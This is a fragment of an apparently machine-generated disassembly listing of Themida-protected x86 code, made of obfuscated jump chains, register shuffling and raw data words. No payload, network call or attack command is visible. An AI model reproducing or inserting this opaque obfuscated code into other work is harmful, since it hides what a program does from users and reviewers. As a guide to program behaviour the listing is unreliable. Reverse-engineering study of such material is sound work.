		dd 0E7885351h, 525BF988h, 9F95E950h, 4890000h, 4BD5524h
		dd 89000000h, 0C6015DE8h, 0B927E958h, 0E681FFFFh, 0C3B401Ch
		dd 6B99BA52h, 0CA8170B9h, 1AE42EDFh, 38B7E9h
		db 0
; ---------------------------------------------------------------------------


loc_560BA5:				; CODE XREF: Themida_:0055F16Aj
		pop	esp
		jmp	loc_5609AA
; ---------------------------------------------------------------------------


loc_560BAB:				; CODE XREF: Themida_:00567CE8j
		push	eax
		jmp	loc_56729E
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
aSkBpqBedibLSao	db 'KbPQbEI',27h,27h,'L',8,'ao',0
		dw 8100h
		dd 3736FCEFh, 7BC3E934h, 89660000h, 27E9240Ch, 890000F2h
		dd 4C181E1h, 83000000h,	0C8704C1h, 0F5D7E924h, 0E95C0000h
		dd 0A115h, 0E9535166h, 0FFFFDF60h, 0E952C328h, 8D08h, 0E959CA01h
		dd 0CA6Fh, 0E9241C8Bh, 0FFFFD3FEh, 5C09C781h, 148B4CFFh
		dd 4C48324h, 2474FF57h,	48F5F04h, 24248B24h, 2422E9h, 0F3F38000h
		dd 0FFC914E9h, 243C8BFFh, 4C481h, 0E9590000h, 472h
; ---------------------------------------------------------------------------


loc_560C4C:				; CODE XREF: Themida_:00568CAFj
		add	edi, 3AE124E9h
		sub	edi, 620811A8h
		inc	edi
		jmp	loc_56DB9B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 405h, 24043300h, 33240431h, 0F5C2404h, 56368C8h
		dd 9E90000h, 66000059h,	0B2241489h, 1DCA8048h, 80AEEA80h
		dd 0B450E7C2h, 0FEEC8054h, 2858E500h, 56ED80D5h, 0ED805A66h
		dd 1AE9521Fh, 0F70000A4h, 0F6EE81DEh, 0E9DEEFEFh, 0A406h
dword_560CB4	dd 240C8B66h, 0C8B5451h, 4C48324h, 329868h, 242C8900h
					; DATA XREF: Themida_:0055C0E0o
		dd 0A50E1DBDh, 46BA5247h, 96D6308h, 1113E9D5h, 5F2D0000h
		dd 0E91E9F43h, 445Dh, 8124148Bh, 4C4h, 9A30E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560CF2:				; CODE XREF: Themida_:00560D54j
		push	eax
		push	edi
		jmp	loc_56DA53
; ---------------------------------------------------------------------------


loc_560CF9:				; CODE XREF: Themida_:005617F3j
		sub	ecx, 594D5B7Ch
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		sub	ebp, 10300ECAh
		jmp	loc_560D64
; ---------------------------------------------------------------------------
		dw 5456h
		dd 8324348Bh, 0E56804C4h, 89000060h, 0BA52240Ch, 23313270h
		dd 0C105EAC1h, 0DAF705E2h, 0A0A6C281h, 0D1896552h, 0E181415Ah
		dd 47D21202h, 3766B850h, 4EE91D64h
		db 0FEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_560D4B:				; CODE XREF: Themida_:005701FAj
		shr	edi, 7
		xchg	esi, edi
		not	esi
		xchg	esi, edi
		jmp	loc_560CF2
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0A9h
		dd 0E93C5103h, 8286h
; ---------------------------------------------------------------------------


loc_560D64:				; CODE XREF: Themida_:00560D0Dj
		add	ebp, esi
		add	ebp, 10300ECAh
		pop	esi
		jmp	loc_55F78B
; ---------------------------------------------------------------------------
		dw 0D5F7h
aMse		db 'M',0
		align 2


loc_560D7A:				; CODE XREF: Themida_:00568085j
		sub	bl, al
		pop	eax
		jmp	loc_56CEC8
; ---------------------------------------------------------------------------


loc_560D82:				; CODE XREF: Themida_:0056915Cj
		pop	ebx
		dec	ecx
		dec	ecx
		push	4E5Eh
		jmp	loc_5667F4
; ---------------------------------------------------------------------------


loc_560D8F:				; CODE XREF: Themida_:005666EEj
		shr	edx, 1
		cmp	eax, edx
		jz	loc_56754B
		push	0DEEh
		mov	[esp], esi
		mov	esi, 0E0430A8h
		shl	esi, 7
		jmp	loc_56FEA7
; ---------------------------------------------------------------------------


loc_560DAE:				; CODE XREF: Themida_:005648E5j
		sub	bl, 13h
		jmp	loc_55E543
; ---------------------------------------------------------------------------
a1Ssm		db '1S鬸',0
		align 2


loc_560DBE:				; CODE XREF: Themida_:00565CFFj
		add	ecx, edx
		pop	edx
		jmp	loc_560148
; ---------------------------------------------------------------------------
		dw 2CBEh
		dd 31B99EFAh, 0C7815EF1h, 7DFF3A65h, 0EF81CF29h, 7DFF3A65h
		dd 24048B59h, 2A1FE956h, 0A3B50000h, 0E915CD80h, 4B6h
; ---------------------------------------------------------------------------


loc_560DF0:				; CODE XREF: Themida_:0055E847j
		inc	edi
		and	edi, 65834260h
		shr	edi, 1
		push	edx
		jmp	loc_56F970
; ---------------------------------------------------------------------------


loc_560DFF:				; CODE XREF: Themida_:0056DA8Cj
		push	ecx
		mov	cl, 0A2h
		push	cx
		not	byte ptr [esp]
		pop	cx
		shl	cl, 3
		dec	cl
		jmp	loc_55FAA4
; ---------------------------------------------------------------------------
byte_560E13	db 0FFh			; DATA XREF: Themida_:0055C070o
a4S2		db '4$2',0
		db 0
; ---------------------------------------------------------------------------


loc_560E1B:				; CODE XREF: Themida_:005642F9j
		mov	bh, dl
		pop	edx
		pop	eax
		jmp	loc_569DAA
; ---------------------------------------------------------------------------


loc_560E24:				; CODE XREF: Themida_:00564926j
		pop	esi
		push	dword ptr [esp]
		pop	eax
		push	eax
		push	esp
		pop	eax
		jmp	loc_56C4A7
; ---------------------------------------------------------------------------


loc_560E31:				; CODE XREF: Themida_:0056D742j
		mov	ecx, ebp
		jmp	loc_569A1A
; ---------------------------------------------------------------------------
		dd 1CBA5257h, 0BF0BBA14h, 0F60976F3h, 0D5E9D731h, 81FFFFCAh
		dd 4C3h, 4C38300h, 0FFF840E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560E59:				; CODE XREF: Themida_:00566B85j
		and	esi, 388E231Fh
		xor	esi, 388A2003h
		add	ebp, 35981A42h
		jmp	loc_569374
; ---------------------------------------------------------------------------
		dd 0BB534E5Fh, 2E9B744Ah, 5D52BA52h, 0D3017A1Fh, 0CC45E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560E86:				; CODE XREF: Themida_:00561D31j
		pop	eax
		push	edx
		mov	dh, 25h
		xor	cl, dh
		jmp	loc_5681C6
; ---------------------------------------------------------------------------


loc_560E91:				; CODE XREF: Themida_:0056C5DDj
		push	edx
		jmp	loc_56EC09
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 83000000h,	148704C2h, 24248B24h, 222268h
		dd 24148900h, 4D7FE9h
		db 0
; ---------------------------------------------------------------------------


loc_560EB5:				; CODE XREF: Themida_:0055F6F3j
					; Themida_:0056B86Cj
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_560FF5
; ---------------------------------------------------------------------------
		dw 0FD88h
		dd 59872C88h, 240C8B5Bh, 0E904C483h, 0FFFFB44Fh, 875DE901h
		dd 875C240Ch, 248B242Ch, 0E9F9F624h, 0FFFFE0A8h
; ---------------------------------------------------------------------------


loc_560EE8:				; CODE XREF: Themida_:00561FFAj
		pop	esp
		push	dword ptr [edi+20h]
		not	dword ptr [esp]
		pop	dword ptr [edi+20h]
		shr	dword ptr [edi+20h], 5
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_563C4D
; ---------------------------------------------------------------------------


loc_560F01:				; CODE XREF: Themida_:0055C32Fj
		push	eax
		mov	al, 0BFh
		jmp	loc_56B72A
; ---------------------------------------------------------------------------
		db 0BDh, 0B0h, 20h
		dd 0ED814599h, 0E687D2E9h, 685DE901h, 1812h, 0CC60E9h
		db 0
; ---------------------------------------------------------------------------


loc_560F21:				; CODE XREF: Themida_:00565DB6j
		push	edx
		jmp	loc_564FCE
; ---------------------------------------------------------------------------


loc_560F27:				; CODE XREF: Themida_:00563510j
		mov	dh, 22h
		jmp	loc_56CF91
; ---------------------------------------------------------------------------
		dw 0CC00h
		dd 58E23059h, 0B252FA2Ch, 6693E9C9h, 835A0000h,	48704C0h
		dd 0BB535C24h, 1012319Dh, 11FF381h, 0D3F71533h,	9B22E9h
		db 0
; ---------------------------------------------------------------------------


loc_560F59:				; CODE XREF: Themida_:00560158j
		mov	[esp], edx
		mov	edx, 12A20ED6h
		mov	eax, 3A156E50h
		jmp	loc_55D293
; ---------------------------------------------------------------------------
		db 89h
		dd 4C281E2h, 81000000h,	4EAh, 24148700h, 8924248Bh, 8B54240Ch
		dd 0E4E9240Ch, 890000AAh, 10BD55E3h, 50418C74h,	35F2E9h
		dd 4BD00h, 0EE290000h, 74FF565Dh, 348B0424h, 4C48324h
		dd 8B24048Fh, 14892424h, 2E896824h, 24890000h, 24048124h
		dd 4, 8B2434FFh, 53E92414h
		db 8Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560FCF:				; CODE XREF: Themida_:0056CCBBj
		mov	[esp], ebp
		mov	ebp, ecx
		mov	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_55C558
; ---------------------------------------------------------------------------
		db 80h
		dd 0F3800FC3h, 5BDA284Bh, 0A39AE9h
		db 0
; ---------------------------------------------------------------------------


loc_560FF5:				; CODE XREF: Themida_:00560EBDj
		sub	eax, 4
		jmp	loc_56455E
; ---------------------------------------------------------------------------
		db 0FFh
a4Sod		db '4$[O',0
		align 4
		dd 0E9241431h, 7440h
; ---------------------------------------------------------------------------


loc_561010:				; CODE XREF: Themida_:0056C508j
		mov	[esp], edx
		push	ebx
		mov	ebx, 0B4471A1h
		push	ebx
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		jmp	loc_55C883
; ---------------------------------------------------------------------------
		dw 50B8h
		dd 0C164E12Dh, 0F50507E0h, 21B2136Fh, 0B781E9C2h, 6659FFFFh
		dd 0F6C78853h, 66F888D7h, 0E9C7885Bh, 824Ch, 4BBh, 8BDE0100h
		dd 0E955241Ch, 0C70Bh
; ---------------------------------------------------------------------------


loc_56105C:				; CODE XREF: Themida_:005681CBj
		add	al, 13h
		push	dword ptr [esp]
		pop	ecx
		push	ecx
		push	75B6h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	al, 27h
		sub	al, bl
		sub	al, 27h
		jmp	loc_56F473
; ---------------------------------------------------------------------------
		dd 0D469760Dh, 0C1D8F72Eh, 0C03508E0h, 893D6856h, 9E958C5h
		dd 0BAFFFFE6h, 91B2B47h, 7C7009B8h, 8BD03115h, 0C4832414h
		dd 0F1B4E904h, 1C870000h, 0D630E924h
		db 2 dup(0FFh)
aMs		db '',0             ; DATA XREF: Themida_:0055C0ECo
		align 4


loc_5610CC:				; CODE XREF: Themida_:0055DEA2j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		jmp	loc_570710
; ---------------------------------------------------------------------------


loc_5610DC:				; CODE XREF: Themida_:00571400j
		mov	edi, esp
		push	edx
		mov	edx, 4
		jmp	loc_566490
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 0CCh
		dd 0FF4DA254h, 0B22DE930h, 0D231FFFFh, 3D468h, 241C8900h
		dd 9697E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561106:				; CODE XREF: Themida_:0056BA81j
		shr	edi, 6
		jmp	loc_56C43D
; ---------------------------------------------------------------------------


loc_56110E:				; CODE XREF: Themida_:00569512j
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56B80D
; ---------------------------------------------------------------------------


loc_561120:				; CODE XREF: Themida_:00568E59j
		push	0A06h
		jmp	loc_55EBF2
; ---------------------------------------------------------------------------
		dw 0B068h
		dd 0E925250Ah, 8A19h, 0C781C701h, 474D61D4h, 582434FFh
		dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 8B243C87h, 0F9F72424h
		dd 0C8B5451h, 4C48124h,	53000000h, 0D4A3FBBh, 8E3C14Ah
		dd 0DA6CE9h, 6A03BE00h,	0F58968CAh, 36ED815Eh, 1DA671Ch
		dd 242C8BEAh, 2904C483h, 73E95AD6h, 5B000085h, 5AD028h
		dd 5474E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56119A:				; CODE XREF: Themida_:005609ADj
		xchg	ebx, [esp]
		jmp	loc_566E6F
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 0DC2B50C6h, 5FEE8168h, 1433570h, 0B8E955D6h,	5000064h
		dd 4, 405h, 24048700h, 0B9685A5Ch, 0E900001Bh, 9BB2h, 2104C483h
		dd 28BCE9F0h
		db 2 dup(0)
word_5611DA	dw 34FFh		; DATA XREF: Themida_:0055C20Co
		dd 2434FF24h, 0E6895658h, 4C681h, 0C6830000h, 24348704h
		dd 65E6E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5611F6:				; CODE XREF: Themida_:00567C61j
		sub	eax, 49442664h
		mov	edi, [esp]
		jmp	loc_565723
; ---------------------------------------------------------------------------
		db 66h
		dd 9C243CD3h, 1907E9h, 24D36600h, 0CE99C24h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561217:				; CODE XREF: Themida_:0055EA21j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		jmp	loc_567CC3
; ---------------------------------------------------------------------------
		dd 0FF0AE958h, 6E05FFFFh, 533C94Eh, 77560B62h, 8C1AF105h
		dd 1E5B0544h, 0D8291082h, 821E5B2Dh, 38AAE910h,	0C1810000h
		dd 189CAFBAh, 5159CD89h, 74004AB9h, 41C9813Ah, 8111BE17h
		dd 531037E9h, 0F6BB5351h, 0E9788B54h, 0CFDBh, 33240431h
		dd 248B2404h, 0CFF6624h, 0A0E99C24h, 0B1FFFFB0h, 0CA48E966h
		dd 0D901FFFFh, 0FFF6E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_561291:				; CODE XREF: Themida_:0056977Dj
		sub	edx, 352651F9h
		jmp	loc_563561
; ---------------------------------------------------------------------------
		dd 5002C483h, 0CC33E953h, 0CDFE0000h, 4A98E9h
		db 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		jmp	loc_56EB01
; ---------------------------------------------------------------------------
		dw 8956h
		dd 4C681E6h, 83000000h,	0FF5604C6h, 5E042474h, 5C24048Fh
		dd 463AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5612D1:				; CODE XREF: Themida_:00568764j
		push	ebx
		mov	ebx, 5C4A7A4Ch
		sub	ebx, 0DCE15A32h
		add	ebp, ebx
		pop	ebx
		xor	ebp, 7B3895E6h
		mov	edx, ebp
		jmp	loc_56AD16
; ---------------------------------------------------------------------------
aIxsH		db '{H',0
		align 4
		dd 51FEB050h, 77E9AEB5h
		db 12h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5612FF:				; CODE XREF: Themida_:0055DCF8j
		pop	ebx
		add	ebx, 7E2A57F0h
		neg	ebx
		shl	ebx, 7
		jmp	loc_567A2C
; ---------------------------------------------------------------------------
		dd 4C381h, 0E9530000h, 7EEBh, 64C5EF81h, 0EFC12449h, 0E1CDE904h
		dd 7DBBFFFFh, 3164016Ch, 0EA015BDDh, 8EF2815Dh,	5747E156h
		dd 0F535E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_561342:				; CODE XREF: Themida_:0055CAC4j
		sub	eax, 381C0004h
		inc	eax
		sub	eax, 698FDFE1h
		sub	ebp, eax
		jmp	loc_5685B6
; ---------------------------------------------------------------------------


loc_561354:				; CODE XREF: Themida_:005679BEj
		mov	eax, 78EE81FEh
		sub	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, eax
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	4265h
		mov	[esp], ebp
		not	dword ptr [esp]
		pop	ebp
		sub	ebp, 59BC67BCh
		and	ebp, 76A75F8Bh
		jmp	loc_56C99F
; ---------------------------------------------------------------------------
		dw 489h
		dd 0E91FB424h, 4989h
; ---------------------------------------------------------------------------


loc_561394:				; CODE XREF: Themida_:0056EA8Dj
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_56C03A
; ---------------------------------------------------------------------------
		db 1, 0F0h, 5Eh
		dd 42EB951h, 0F1813384h, 3384042Ah, 0FC85E9h
		db 0
; ---------------------------------------------------------------------------


loc_5613B1:				; CODE XREF: Themida_:0055D573j
		xor	dh, al
		jmp	loc_569517
; ---------------------------------------------------------------------------


loc_5613B8:				; CODE XREF: Themida_:0055E4A1j
		pop	esp
		mov	[esp], cx
		mov	ch, 99h
		xor	dh, ch
		pop	cx
		shl	dh, 6
		shr	dh, 2
		add	dh, 90h
		sub	bl, 9Ch
		sub	bl, 72h
		add	bl, 78h
		add	bl, dh
		push	cx
		jmp	loc_5630AE
; ---------------------------------------------------------------------------


loc_5613DE:				; CODE XREF: Themida_:005667FCj
		push	edi
		not	dword ptr [esp]
		jmp	loc_5693BC
; ---------------------------------------------------------------------------
		db 89h
		dd 8B54240Ch, 0B0E9240Ch, 50000071h, 57E9E089h,	8B000024h
		dd 2FE92434h, 680000ECh, 1CDDh,	81242489h, 42404h, 45E90000h
		dd 280000D9h, 24148BF0h, 4C481h, 0E9590000h, 0FFFFF2BCh
		dd 43E6EA81h, 0F281475Bh, 460B3589h, 2337EA81h,	0EA814B67h
		dd 7A3A1CAAh, 0C45DE9h,	0E3814300h, 35414099h, 6CEB8143h
		dd 81478F62h, 0BB4085EBh, 2C815356h, 56522A24h,	0CD95E93Ah
		dd 315CFFFFh, 0E904245Ch, 0C6C7h
; ---------------------------------------------------------------------------


loc_561470:				; CODE XREF: Themida_:0055F522j
		dec	ebp
		xor	ebp, 52A6EF4Ah
		add	eax, ebp
		pop	ebp
		shl	eax, 6
		xor	eax, 58181913h
		xor	eax, 2AA12157h
		sub	edx, eax
		pop	eax
		jmp	loc_565990
; ---------------------------------------------------------------------------
		db 8Bh
		dd 24D32424h, 88E99C24h, 83FFFFAEh, 0C48304C4h,	0AE7DE904h
		dd 7868FFFFh, 8900002Ah, 68682404h, 5877A027h, 95597A0Dh
		dd 74810560h, 0B2D67A3h, 8981BDB3h, 3A1DE9C2h, 59500000h
		dd 19685558h, 0E972E004h, 0BDA8h, 770EE781h, 0F7810D23h
		dd 74396630h, 1DD6E9h
		db 0
byte_5614E9	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055C078o
		dd 0FDBBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5614F2:				; CODE XREF: Themida_:00561B60j
		add	bh, ch
		mov	ecx, [esp]
		jmp	loc_55EAE5
; ---------------------------------------------------------------------------
dword_5614FC	dd 0FF2434FFh, 0E9592434h, 0FFFFC80Ah ;	DATA XREF: Themida_:0055C234o
; ---------------------------------------------------------------------------


loc_561508:				; CODE XREF: Themida_:00569DEFj
		mov	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	0
		sub	[esp], ecx
		pop	ecx
		not	ecx
		jmp	loc_570372
; ---------------------------------------------------------------------------
		dd 7DEF815Dh, 8B479131h, 0E952240Ch, 3515h, 1969F681h
		dd 5D56D12Ch, 8BEE315Eh, 0C483242Ch, 0A8EB8104h, 13E2474h
		dd 0A8C381F3h, 0E93E2474h, 0D095h, 592434FFh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_567042
; ---------------------------------------------------------------------------
		dw 0E800h
		dd 56B80459h, 0C681E689h, 4, 4EE81h, 5DE90000h,	8B000084h
		dd 0C1382424h, 0AD99E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56158A:				; CODE XREF: Themida_:00562AB7j
		xchg	ecx, [esp]
		jmp	loc_56308F
; ---------------------------------------------------------------------------


loc_561592:				; CODE XREF: Themida_:0055FFB6j
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_56B1EC
; ---------------------------------------------------------------------------
		dd 0E7587EBEh, 0E6E9532Fh, 81FFFFEBh, 0F96067CFh, 0BDBE566Ch
		dd 31202E02h, 24348BF7h, 81E78957h, 4C7h, 4C78300h, 5C243C87h
		dd 0FFC923E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5615D1:				; CODE XREF: Themida_:00570083j
		add	ecx, eax
		mov	eax, [esp]
		jmp	loc_563CE3
; ---------------------------------------------------------------------------


loc_5615DB:				; CODE XREF: Themida_:0057158Bj
		push	40h
		mov	edi, [esp]
		push	36FAh
		jmp	loc_56755F
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 0B738E900h, 5157FFFFh,	76C5E68h, 0E981596Ah, 242002C8h
		dd 484E981h, 84E91333h,	580000B1h, 34FFD588h, 74D7E924h
		dd 0F0000000h, 4127E9h,	24148B00h, 81E18951h, 4C1h, 4BB5300h
		dd 1000000h, 0C875BD9h,	22E95C24h, 810000E9h, 87AD2EC6h
		dd 4084E9CAh, 0E2890000h, 4B951h, 0CA010000h, 4C28159h
		dd 52000000h, 0C3C5E9h
		db 0
; ---------------------------------------------------------------------------


loc_561665:				; CODE XREF: Themida_:0055DD4Bj
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	ebx
		mov	ecx, [esp]
		jmp	loc_5645CF
; ---------------------------------------------------------------------------
		db 59h,	8Fh, 4
		dd 0EE0CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56167E:				; CODE XREF: Themida_:0056EB2Ej
		pop	edx
		add	ebx, ecx
		jmp	loc_569FD3
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 0C895C24h, 0C6BEE924h, 0FF5CFFFFh, 0C8B2434h, 4C48324h
		dd 6804C483h, 5CC7h, 0E9240489h, 0B822h, 0E9242C89h, 0FFFFFC39h
; ---------------------------------------------------------------------------


loc_5616B4:				; CODE XREF: Themida_:0056C6EAj
		pop	ebx
		push	dword ptr [esp]
		jmp	loc_5642D5
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 81h
		dd 4C3h, 43E95000h, 8900001Dh, 0F0E92434h, 5CFFFFE8h, 5809E9h
		db 0
; ---------------------------------------------------------------------------


loc_5616D9:				; CODE XREF: Themida_:0056EB4Bj
		mov	[esp], ebp
		push	7D97h
		mov	[esp], edx
		push	ebp
		mov	ebp, 673E6B06h
		shl	ebp, 8
		push	ebx
		mov	ebx, 0C73F2F59h
		add	ebp, ebx
		pop	ebx
		mov	edx, ebp
		pop	ebp
		push	ecx
		mov	ecx, 6751698Dh
		sub	ecx, 45DA4466h
		xor	ecx, 536E77B6h
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		not	edx
		push	esi
		jmp	loc_56C6F6
; ---------------------------------------------------------------------------
		db 55h
		dd 0D56DE954h, 5266FFFFh, 0D2F6CA88h, 0C2E9D188h, 680000CEh
		dd 2485h, 47B4E9h, 40500h, 0BD550000h, 4, 0F079E9h, 5AF02800h
		dd 0A808E9h, 58C20900h,	5008E2C1h, 50F9BE56h, 0F6816A7Bh
		dd 44CEC27Eh, 315EF089h, 0D52958C2h, 0FFE8295Ah, 835D2434h
		dd 2C8904ECh, 9F01E924h, 0C1FE0000h, 0F180C1FEh, 59CF30FDh
		dd 80F3B551h, 0EF0012C5h, 83240C8Bh, 526604C4h,	6367E9h
		dd 0B8F18100h, 0E927D14Dh, 0BD5Dh
; ---------------------------------------------------------------------------


loc_5617A8:				; CODE XREF: Themida_:005699CFj
		sub	eax, 485F6743h
		add	eax, 2B30577Ah
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_56A274
; ---------------------------------------------------------------------------


loc_5617BB:				; CODE XREF: Themida_:0055CA57j
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_56391B
; ---------------------------------------------------------------------------
		dw 0ED80h
		dd 0FD98E986h, 6C81FFFFh, 5F20424h, 7EE950BAh
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5617DB:				; CODE XREF: Themida_:00564BBEj
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_565F64
; ---------------------------------------------------------------------------


loc_5617E5:				; CODE XREF: Themida_:00569B78j
		push	edi
		mov	edi, 442E60DCh
		not	edi
		jmp	loc_564156
; ---------------------------------------------------------------------------


loc_5617F2:				; CODE XREF: Themida_:0056684Ej
		pop	ecx
		jmp	loc_560CF9
; ---------------------------------------------------------------------------
aHI		db ')hi',0
		dw 0E900h
		dd 0FFFFCD1Dh, 4EC81h, 0BAE90000h, 810000A1h, 4ECh, 242C8900h
		dd 308ABA52h, 0E94A1128h, 0A74Dh, 0C681E689h, 4, 8704C683h
		dd 815C2434h, 4C5h, 0F5BAE900h,	0C890000h, 4B924h, 0E9560000h
		dd 8F35h, 76E9F389h
		db 0F6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_561853:				; CODE XREF: Themida_:0055C5CCj
		mov	edx, ecx
		pop	ecx
		dec	edx
		neg	edx
		shr	edx, 7
		shl	edx, 2
		sub	edx, 0AD8B7D5Fh
		jmp	loc_563698
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 0E7895724h, 4C781h, 0C7810000h, 4, 5C243C87h, 46836853h
		dd 44E90000h, 5C00006Fh, 24148966h, 0E99C5066h,	0FFFFAA8Bh
		dd 83671BBDh, 430E91Fh,	0C4830000h, 74FF5504h, 2C8B0424h
		dd 4C48324h, 5C24048Fh,	24048B66h, 0E3895355h, 4BE56h
		dd 0A3E90000h, 0B2FFFFD9h, 60F280A8h, 0FFBA55E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5618D1:				; CODE XREF: Themida_:00562097j
		shl	esi, 3
		jmp	loc_56625F
; ---------------------------------------------------------------------------
aBZnIsfo	db 'z|I',0
		dd 102C0500h, 3C8B5478h, 0E2895224h, 4C281h, 0C2830000h
		dd 24148704h, 58C3295Ch, 815BDE01h, 4EEh, 4EC8100h, 89000000h
		dd 74FF2434h, 8F5E0424h, 248B2404h, 82ACE924h, 34FF0000h
		dd 38EBE924h, 0C3810000h, 4, 2C381h, 1C870000h,	0C8B5C24h
		dd 4C48124h, 56000000h,	3BA8BE66h, 36E68166h, 0D6F76616h
		dd 7222E9h
		db 0
; ---------------------------------------------------------------------------


loc_561955:				; CODE XREF: Themida_:0056EE0Cj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_56AD8A
; ---------------------------------------------------------------------------
aIS1		db '[1',0Ah,0
		dd 43C38100h, 81149600h, 0A0ABA1C3h, 0E9D92980h, 0B340h
		dd 241C8B59h, 8904EC83h, 0E789243Ch, 4C781h, 0EC830000h
		dd 6292E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56199A:				; CODE XREF: Themida_:0055D8C3j
		add	esi, ebp
		pop	ebp
		add	esi, 4
		push	2759h
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56072B
; ---------------------------------------------------------------------------
		db 58h
		dd 0B12E9h
		db 0
; ---------------------------------------------------------------------------


loc_5619C1:				; CODE XREF: Themida_:005690B5j
		xor	ecx, 0B153B91Ch
		xor	ebx, ecx
		pop	ecx
		add	ebp, ebx
		pop	ebx
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_55F9E1
; ---------------------------------------------------------------------------


loc_5619EA:				; CODE XREF: Themida_:0056EF05j
		mov	ecx, 48991B69h
		push	ebx
		mov	ebx, 239F5E66h
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		inc	ecx
		not	ecx
		shr	ecx, 3
		xor	ecx, 1FECDCB7h
		sub	ebx, 4DCF6E15h
		add	ebx, ecx
		add	ebx, 4DCF6E15h
		pop	ecx
		push	ebp
		mov	ebp, 4
		sub	ebx, ebp
		jmp	loc_55DD4A
; ---------------------------------------------------------------------------


loc_561A25:				; CODE XREF: Themida_:0055F5B3j
		sub	edi, 0E76BE64h
		add	ebp, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_56DAB6
; ---------------------------------------------------------------------------
aRsdu		db 'Rd',0
		align 2
		dw 0DBF7h
		dd 68h,	0D282E900h, 0FEB9FFFFh,	816CE87Ch, 9D50C1E9h, 0DFC18153h
		dd 0F74AD52Fh, 57C181D1h, 567A1C3Ch, 586DE9h, 2837B600h
		dd 0FF5A66F0h, 148B2434h, 4C48324h, 5104C483h, 0FFF361E9h
		dd 5BD989FFh, 6B3068h, 0A648E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_561A92:				; CODE XREF: Themida_:0056D7DEj
		mov	esi, 4
		mov	ebx, esi
		jmp	loc_55EBE8
; ---------------------------------------------------------------------------
		dw 0C87h
		dd 5E95C24h, 68FFFFFCh,	67CBh, 0E9240489h, 881Ch
; ---------------------------------------------------------------------------


loc_561AB4:				; CODE XREF: Themida_:0056F3ADj
		sub	edx, eax
		pop	eax
		add	edi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	2AFBh
		jmp	loc_564C36
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 596B4558h, 8B2434FFh, 0C483240Ch, 4C48304h, 0FFD9F4E9h
		dd 77EE81FFh, 8B39DD7Dh, 0C483240Ch, 52B95104h,	122230Ch
		dd 0C68159CEh, 0FD2726h, 4C68C601h, 89000049h, 0C9E9242Ch
		db 7Dh,	2 dup(0)
; ---------------------------------------------------------------------------


